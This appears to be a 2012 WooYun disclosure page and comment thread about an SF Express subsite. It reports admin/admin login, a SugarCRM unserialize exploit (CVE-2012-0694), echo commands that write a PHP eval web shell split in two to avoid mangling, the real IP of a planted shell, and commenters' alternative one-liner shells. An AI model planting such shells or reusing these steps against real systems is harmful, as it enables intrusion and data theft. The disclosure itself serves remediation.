当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-09230

漏洞标题:顺丰速运某分站PHP代码执行

相关厂商:顺丰速运

漏洞作者: an1k3r

提交时间:2012-07-05 09:12

修复时间:2012-08-19 09:12

公开时间:2012-08-19 09:12

漏洞类型:命令执行

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-07-05: 细节已通知厂商并且等待厂商处理中
2012-07-05: 厂商已经确认,细节仅向厂商公开
2012-07-15: 细节向核心白帽子及相关领域专家公开
2012-07-25: 细节向普通白帽子公开
2012-08-04: 细节向实习白帽子公开
2012-08-19: 细节向公众公开

简要描述:

其实是漏洞合集啊,包括PHP代码执行,信息泄漏等,导致拿到WebShell。

详细说明:

1. DNS域传送漏洞


2. PHP代码执行漏洞
把整理出来的IP扔到NMAP里,找到了一些有风险的系统。
地址:http://219.134.187.130:8085/index.php?module=Users&action=Login
弱口令admin/admin进入后台。


进入系统之后发现SugarCRM版本是6.2.3,刚好用上最近的一个Exploit(需用户认证)。
CVE编号:CVE-2012-0694 SugarCRM CE <= 6.3.1 "unserialize()" PHP Code Execution
于是拿到反弹shell。


在拿到Webshell之前有个小插曲,发现wget命令不能使用,貌似是防火墙禁止服务器外联。不过touch命令可以使用,vi不能用,只能使用echo。于是创建一个1.php的文件,然后echo写入。

touch 1.php
echo "<?php eval($_POST[cmd])?>" >> 1.php


但发现每次写入文件之后,$_POST都会被过滤掉,如下图。


于是想可不可以使用XSS的方法(跟gainover学的,参考了 WooYun: 新浪微博某官方应用存储型XSS - 重温一个利用方法~ ,哈哈)分开写,
于是第一行

echo -n "<?php eval($" >> 1.php


第二行

echo -n "_POST[cmd])?>" >> 1.php



然后用菜刀连上后上传Webshell。


Webshell地址 http://219.134.187.130:8085/shell.php
暂未删除
数据库信息


破解MD5后,进入招聘网站后台


3.信息泄漏,包括Oracle数据库的一些信息。
http://uatmobile.sf-express.com/SFMobile.xml

漏洞证明:

都在详细说明里了。
其它的系统都还好,像JBOSS,OpenFire等,该补的洞都补了,很多系统也升级到最新了。

修复方案:

1. 修改SugarCRM口令。
2. 删除http://uatmobile.sf-express.com/SFMobile.xml文件。
3. 请删除测试时的Webshell http://219.134.187.130:8085/shell.php
4. 服务如果没有用就停掉,数据库和应用分离。
礼物有没有?呵呵,貌似顺丰送礼物是不要快递费的。

版权声明:转载请注明来源 an1k3r@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2012-07-05 09:43

厂商回复:

感谢提供,马上通知处理。

最新状态:

暂无


漏洞评价:

评论

  1. 2012-07-05 09:27 | 凤凰 ( 路人 | Rank:15 漏洞数:6 | 涅磐)

    沙发

  2. 2012-07-10 11:42 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    这个才给10分?

  3. 2012-07-16 10:03 | ubuntu ( 普通白帽子 | Rank:148 漏洞数:12 | 一切皆有可能……)

    HR的,脱裤子了么 ^_^

  4. 2012-07-25 14:19 | possible ( 普通白帽子 | Rank:373 漏洞数:32 | everything is possible!)

    牛呀

  5. 2012-08-15 02:33 | 蟋蟀哥哥 ( 普通白帽子 | Rank:363 漏洞数:57 | 巴蜀人士,80后宅男,自学成才,天朝教育失败...)

    这个才10Ran???洞主,有礼物没有?

  6. 2012-08-20 09:33 | xsjswt ( 普通白帽子 | Rank:156 漏洞数:49 | 我思故我猥琐,我猥琐故我强大)

    $_POST不是被过滤掉了,是被双引号内插掉了echo '<?php eval($_POST[cmd]) ?>'就绝对没有问题lzwindows用多了。 必然的

  7. 2012-10-11 23:45 | 冷静 ( 路人 | Rank:3 漏洞数:2 )

    看了洞主几个洞,功力高深啊

  8. 2014-02-28 21:48 | 健宇 ( 普通白帽子 | Rank:131 漏洞数:14 | tools kid)

    洞主有没有测试 echo "<?php eval($_GET[cmd])?>" 这样写?